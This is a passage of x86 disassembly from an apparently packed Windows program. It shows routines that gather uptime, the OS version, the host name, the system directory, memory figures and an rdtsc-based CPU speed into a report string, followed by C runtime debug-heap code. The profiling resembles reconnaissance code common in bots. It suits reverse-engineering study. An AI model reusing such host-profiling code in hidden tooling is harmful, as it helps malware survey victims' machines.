		push	[ebp+eax*4+var_6C]
		call	sub_418406
		add	esp, 10h
		test	edi, edi
		jz	short loc_41871C
		test	eax, eax
		jz	short loc_418718
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41871E
; ---------------------------------------------------------------------------


loc_418718:				; CODE XREF: sub_4185E1+12Ej
		mov	esi, edi
		jmp	short loc_41871E
; ---------------------------------------------------------------------------


loc_41871C:				; CODE XREF: sub_4185E1+12Aj
		mov	esi, eax


loc_41871E:				; CODE XREF: sub_4185E1+135j
					; sub_4185E1+139j
		push	6
		call	sub_4183EC
		push	[ebp+eax*4+var_1C]
		call	sub_418406
		push	6
		mov	edi, eax
		call	sub_4183EC
		push	[ebp+eax*4+var_1C]
		call	sub_418406
		add	esp, 10h
		test	edi, edi
		jz	short loc_418756
		test	eax, eax
		jz	short loc_418752
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_418758
; ---------------------------------------------------------------------------


loc_418752:				; CODE XREF: sub_4185E1+168j
		mov	ecx, edi
		jmp	short loc_418758
; ---------------------------------------------------------------------------


loc_418756:				; CODE XREF: sub_4185E1+164j
		mov	ecx, eax


loc_418758:				; CODE XREF: sub_4185E1+16Fj
					; sub_4185E1+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_418765
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_418768
; ---------------------------------------------------------------------------


loc_418765:				; CODE XREF: sub_4185E1+17Bj
		push	2
		pop	edi


loc_418768:				; CODE XREF: sub_4185E1+182j
		test	esi, esi
		jz	short loc_418770
		add	eax, esi
		jmp	short loc_418771
; ---------------------------------------------------------------------------


loc_418770:				; CODE XREF: sub_4185E1+189j
		dec	edi


loc_418771:				; CODE XREF: sub_4185E1+18Dj
		test	ecx, ecx
		jz	short loc_418779
		add	eax, ecx
		jmp	short loc_41877A
; ---------------------------------------------------------------------------


loc_418779:				; CODE XREF: sub_4185E1+192j
		dec	edi


loc_41877A:				; CODE XREF: sub_4185E1+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_450EB0
		push	eax
		call	sub_41B740
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_41458A
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4185E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187BE	proc near		; CODE XREF: sub_401CC1+20D5p
					; sub_401CC1+2559p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	dword_4F1364	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4EF828
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset dword_450F10
		push	32h
		push	esi
		call	sub_41B910
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4187BE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp-94h]
		push	esi
		push	eax
		xor	esi, esi
		mov	dword ptr [ebp-94h], 94h
		call	dword_4F1384	; GetVersionExA
		test	eax, eax
		jz	short loc_4188BA
		cmp	dword ptr [ebp-90h], 4
		jnz	short loc_418890
		cmp	[ebp-8Ch], esi
		jnz	short loc_418878
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_41886B
		push	1
		pop	esi


loc_41886B:				; CODE XREF: .nsp0:00418866j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_4188BA
		push	1
		jmp	short loc_4188B9
; ---------------------------------------------------------------------------


loc_418878:				; CODE XREF: .nsp0:0041885Dj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_418885


loc_418881:				; CODE XREF: .nsp0:0041889Fj
		push	2
		jmp	short loc_4188B9
; ---------------------------------------------------------------------------


loc_418885:				; CODE XREF: .nsp0:0041887Fj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_4188BA
		jmp	short loc_4188AA
; ---------------------------------------------------------------------------


loc_418890:				; CODE XREF: .nsp0:00418855j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_4188BA
		cmp	[ebp-8Ch], esi
		jz	short loc_418881
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_4188AE


loc_4188AA:				; CODE XREF: .nsp0:0041888Ej
		push	3
		jmp	short loc_4188B9
; ---------------------------------------------------------------------------


loc_4188AE:				; CODE XREF: .nsp0:004188A8j
		cmp	dword ptr [ebp-8Ch], 2
		jnz	short loc_4188BA
		push	7


loc_4188B9:				; CODE XREF: .nsp0:00418876j
					; .nsp0:00418883j ...
		pop	esi


loc_4188BA:				; CODE XREF: .nsp0:0041884Cj
					; .nsp0:00418872j ...
		mov	eax, esi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4188BF	proc near		; CODE XREF: sub_41897B+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_4188C7:				; CODE XREF: sub_4188BF+35j
					; sub_4188BF+3Bj
		call	sub_418CF8
		push	3E8h
		mov	edi, eax
		mov	ebx, edx
		call	dword_4F1334	; Sleep
		call	sub_418CF8
		sub	eax, edi
		push	0
		sbb	edx, ebx
		push	esi
		push	edx
		push	eax
		call	sub_41DF00
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_4188C7
		jb	short loc_4188FC
		cmp	ebx, esi
		ja	short loc_4188C7


loc_4188FC:				; CODE XREF: sub_4188BF+37j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41DF70
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41896F
		jb	short loc_41891B
		cmp	esi, 50h
		jnb	short loc_418920


loc_41891B:				; CODE XREF: sub_4188BF+55j
		push	4Bh
		xor	edx, edx
		pop	eax


loc_418920:				; CODE XREF: sub_4188BF+5Aj
		test	ecx, ecx
		ja	short loc_41896F
		jb	short loc_41892B
		cmp	esi, 47h
		jnb	short loc_418930


loc_41892B:				; CODE XREF: sub_4188BF+65j
		push	42h
		xor	edx, edx
		pop	eax


loc_418930:				; CODE XREF: sub_4188BF+6Aj
		test	ecx, ecx
		ja	short loc_41896F
		jb	short loc_41893B
		cmp	esi, 37h
		jnb	short loc_418940


loc_41893B:				; CODE XREF: sub_4188BF+75j
		push	32h
		xor	edx, edx
		pop	eax


loc_418940:				; CODE XREF: sub_4188BF+7Aj
		test	ecx, ecx
		ja	short loc_41896F
		jb	short loc_41894B
		cmp	esi, 26h
		jnb	short loc_418950


loc_41894B:				; CODE XREF: sub_4188BF+85j
		push	21h
		xor	edx, edx
		pop	eax


loc_418950:				; CODE XREF: sub_4188BF+8Aj
		test	ecx, ecx
		ja	short loc_41896F
		jb	short loc_41895B
		cmp	esi, 1Eh
		jnb	short loc_418960


loc_41895B:				; CODE XREF: sub_4188BF+95j
		push	19h
		xor	edx, edx
		pop	eax


loc_418960:				; CODE XREF: sub_4188BF+9Aj
		test	ecx, ecx
		ja	short loc_41896F
		jb	short loc_41896B
		cmp	esi, 0Ah
		jnb	short loc_41896F


loc_41896B:				; CODE XREF: sub_4188BF+A5j
		xor	eax, eax
		xor	edx, edx


loc_41896F:				; CODE XREF: sub_4188BF+53j
					; sub_4188BF+63j ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4188BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41897B	proc near		; CODE XREF: sub_401CC1+22ABp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_4EF860
		mov	[ebp+var_CC], 94h
		call	dword_4F1384	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_418A02
		cmp	[ebp+var_C4], ebx
		jnz	short loc_4189DE
		cmp	[ebp+var_BC], 1
		jnz	short loc_4189C8
		mov	[ebp+var_4], offset dword_450F1C


loc_4189C8:				; CODE XREF: sub_41897B+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_418A7D
		mov	[ebp+var_4], offset dword_450F20
		jmp	short loc_418A4E
; ---------------------------------------------------------------------------


loc_4189DE:				; CODE XREF: sub_41897B+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_4189F0
		mov	[ebp+var_4], offset dword_450F24
		jmp	short loc_418A45
; ---------------------------------------------------------------------------


loc_4189F0:				; CODE XREF: sub_41897B+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_418A3E
		mov	[ebp+var_4], offset dword_450F28
		jmp	short loc_418A45
; ---------------------------------------------------------------------------


loc_418A02:				; CODE XREF: sub_41897B+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_418A3E
		cmp	[ebp+var_C4], ebx
		jnz	short loc_418A1C
		mov	[ebp+var_4], offset dword_450F2C
		jmp	short loc_418A45
; ---------------------------------------------------------------------------


loc_418A1C:				; CODE XREF: sub_41897B+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_418A2E
		mov	[ebp+var_4], offset dword_450F30
		jmp	short loc_418A45
; ---------------------------------------------------------------------------


loc_418A2E:				; CODE XREF: sub_41897B+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_418A45


loc_418A3E:				; CODE XREF: sub_41897B+7Cj
					; sub_41897B+8Ej
		mov	[ebp+var_4], offset a??? ; "???"


loc_418A45:				; CODE XREF: sub_41897B+73j
					; sub_41897B+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_418A7D


loc_418A4E:				; CODE XREF: sub_41897B+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_418A7D
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_6	; "%s (%s)"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_418A7D:				; CODE XREF: sub_41897B+54j
					; sub_41897B+D1j ...
		mov	ax, word_450F48
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4E0790
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_418AB6
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_418AB6:				; CODE XREF: sub_41897B+12Cj
		push	[ebp+arg_4]
		call	sub_40A019
		pop	ecx
		push	eax
		call	dword_4E08DC
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4E085C
		cmp	eax, ebx
		jz	short loc_418ADF
		push	dword ptr [eax]
		jmp	short loc_418AE4
; ---------------------------------------------------------------------------


loc_418ADF:				; CODE XREF: sub_41897B+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_418AE4:				; CODE XREF: sub_41897B+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B740
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_4F1330	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_4F13C0	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs_0 ; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_4F13BC	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_4F1434	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41BA10
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_415056
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_4187BE
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40A019
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_414F46
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_414F46
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4188BF
		push	edx
		push	eax
		push	offset dword_450F7C
		push	200h
		push	[ebp+arg_0]
		call	sub_41B910
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41897B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C2F	proc near		; CODE XREF: sub_401CC1+22D9p
					; sub_401CC1+6961p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		cmp	dword_4E0984, 0
		jnz	short loc_418CA3
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4E0778
		test	eax, eax
		jnz	short loc_418C84
		lea	eax, [ebp+var_8C]
		push	offset dword_451058
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx


loc_418C84:				; CODE XREF: sub_418C2F+40j
		test	[ebp+var_C], 1
		jz	short loc_418C9C
		push	offset dword_451068


loc_418C8F:				; CODE XREF: sub_418C2F+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx
		jmp	short loc_418CC5
; ---------------------------------------------------------------------------


loc_418C9C:				; CODE XREF: sub_418C2F+59j
		push	offset off_451070
		jmp	short loc_418C8F
; ---------------------------------------------------------------------------


loc_418CA3:				; CODE XREF: sub_418C2F+28j
		lea	eax, [ebp+var_8]
		push	offset off_451074
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_8C]
		push	offset off_451078
		push	eax
		call	sub_41B740
		add	esp, 10h


loc_418CC5:				; CODE XREF: sub_418C2F+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40A019
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_45107C
		push	200h
		push	[ebp+arg_0]
		call	sub_41B910
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_418C2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_418CF8	proc near		; CODE XREF: sub_4188BF:loc_4188C7p
					; sub_4188BF+1Cp
		rdtsc
		retn
sub_418CF8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418D00	proc near		; CODE XREF: sub_401000+34p
					; .nsp0:004011F4p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_418D20


loc_418D0C:				; CODE XREF: sub_418D00+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_418D53
		test	ecx, 3
		jnz	short loc_418D0C
		add	eax, 0


loc_418D20:				; CODE XREF: sub_418D00+Aj
					; sub_418D00+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_418D20
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_418D71
		test	ah, ah
		jz	short loc_418D67
		test	eax, 0FF0000h
		jz	short loc_418D5D
		test	eax, 0FF000000h
		jz	short loc_418D53
		jmp	short loc_418D20
; ---------------------------------------------------------------------------


loc_418D53:				; CODE XREF: sub_418D00+11j
					; sub_418D00+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_418D5D:				; CODE XREF: sub_418D00+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_418D67:				; CODE XREF: sub_418D00+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_418D71:				; CODE XREF: sub_418D00+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_418D00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D80	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401CC1+50ADp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0FFFFFFFFh


loc_418D8E:				; CODE XREF: sub_418D80+36j
		cmp	[ebp+arg_0], 0
		jnz	short loc_418DB2
		push	offset dword_437504
		push	0
		push	3Ah
		push	offset dword_4374F8
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_418DB2
		int	3		; Trap to Debugger


loc_418DB2:				; CODE XREF: sub_418D80+12j
					; sub_418D80+2Fj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_418D8E
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 40h
		test	edx, edx
		jz	short loc_418DD1
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+0Ch], 0
		jmp	short loc_418DF8
; ---------------------------------------------------------------------------


loc_418DD1:				; CODE XREF: sub_418D80+43j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41ECE0
		add	esp, 4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_418E10
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41ED50
		add	esp, 4


loc_418DF8:				; CODE XREF: sub_418D80+4Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_418D80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E10	proc near		; CODE XREF: sub_418D80+61p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax


loc_418E26:				; CODE XREF: sub_418E10+3Ej
		cmp	[ebp+arg_0], 0
		jnz	short loc_418E4A
		push	offset dword_437514
		push	0
		push	77h
		push	offset dword_4374F8
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_418E4A
		int	3		; Trap to Debugger


loc_418E4A:				; CODE XREF: sub_418E10+1Aj
					; sub_418E10+37j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_418E26
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_418EBA
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41F7E0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_41F6A0
		add	esp, 4
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_41F570
		add	esp, 4
		test	eax, eax
		jge	short loc_418E96
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_418EBA
; ---------------------------------------------------------------------------


loc_418E96:				; CODE XREF: sub_418E10+7Bj
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+1Ch], 0
		jz	short loc_418EBA
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+1Ch]
		push	ecx
		call	sub_419980
		add	esp, 8
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+1Ch], 0


loc_418EBA:				; CODE XREF: sub_418E10+4Dj
					; sub_418E10+84j ...
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+0Ch], 0
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_418E10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418ED0	proc near		; CODE XREF: sub_4010AB+6p
					; sub_409F35+63p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, dword_4EF8F4
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_418F40
		add	esp, 14h
		pop	ebp
		retn
sub_418ED0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF0	proc near		; CODE XREF: sub_419300+20p
					; sub_4193C0+26p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, dword_4EF8F4
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_418F40
		add	esp, 14h
		pop	ebp
		retn
sub_418EF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F20	proc near		; CODE XREF: sub_41D910+9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_418F40
		add	esp, 14h
		pop	ebp
		retn
sub_418F20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F40	proc near		; CODE XREF: sub_418ED0+13p
					; sub_418EF0+19p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx


loc_418F44:				; CODE XREF: sub_418F40:loc_418F98j
		push	9
		call	sub_41FB40
		add	esp, 4
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_418FC0
		add	esp, 10h
		mov	[ebp+var_4], eax
		push	9
		call	sub_41FBE0
		add	esp, 4
		cmp	[ebp+var_4], 0
		jnz	short loc_418F7F
		cmp	[ebp+arg_4], 0
		jnz	short loc_418F84


loc_418F7F:				; CODE XREF: sub_418F40+37j
		mov	eax, [ebp+var_4]
		jmp	short loc_418F9A
; ---------------------------------------------------------------------------


loc_418F84:				; CODE XREF: sub_418F40+3Dj
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41FA30
		add	esp, 4
		test	eax, eax
		jnz	short loc_418F98
		xor	eax, eax
		jmp	short loc_418F9A
; ---------------------------------------------------------------------------


loc_418F98:				; CODE XREF: sub_418F40+52j
		jmp	short loc_418F44
; ---------------------------------------------------------------------------


loc_418F9A:				; CODE XREF: sub_418F40+42j
					; sub_418F40+56j
		mov	esp, ebp
		pop	ebp
		retn
sub_418F40	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_418FC0
		add	esp, 10h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FC0	proc near		; CODE XREF: sub_418F40+1Ep
					; .nsp0:00418FADp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		mov	eax, dword_4510C0
		and	eax, 4
		test	eax, eax
		jz	short loc_41900C


loc_418FDC:				; CODE XREF: sub_418FC0+4Aj
		call	sub_41A090
		test	eax, eax
		jnz	short loc_419006
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	141h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419006
		int	3		; Trap to Debugger


loc_419006:				; CODE XREF: sub_418FC0+23j
					; sub_418FC0+43j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_418FDC


loc_41900C:				; CODE XREF: sub_418FC0+1Aj
		mov	edx, dword_4510C4
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		cmp	eax, dword_4510C8
		jnz	short loc_419021
		int	3		; Trap to Debugger


loc_419021:				; CODE XREF: sub_418FC0+5Ej
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		push	1
		call	off_451490
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4190A4
		cmp	[ebp+arg_8], 0
		jz	short loc_419077


loc_41904C:				; CODE XREF: sub_418FC0+B3j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	offset aClientHookAllo ; "Client hook allocation failure at file "...
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41906F
		int	3		; Trap to Debugger


loc_41906F:				; CODE XREF: sub_418FC0+ACj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41904C
		jmp	short loc_41909D
; ---------------------------------------------------------------------------


loc_419077:				; CODE XREF: sub_418FC0+8Aj
					; sub_418FC0+DBj
		push	offset aClientHookAl_0 ; "Client hook allocation failure.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41EED0
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_419097
		int	3		; Trap to Debugger


loc_419097:				; CODE XREF: sub_418FC0+D4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_419077


loc_41909D:				; CODE XREF: sub_418FC0+B5j
		xor	eax, eax
		jmp	loc_4192CC
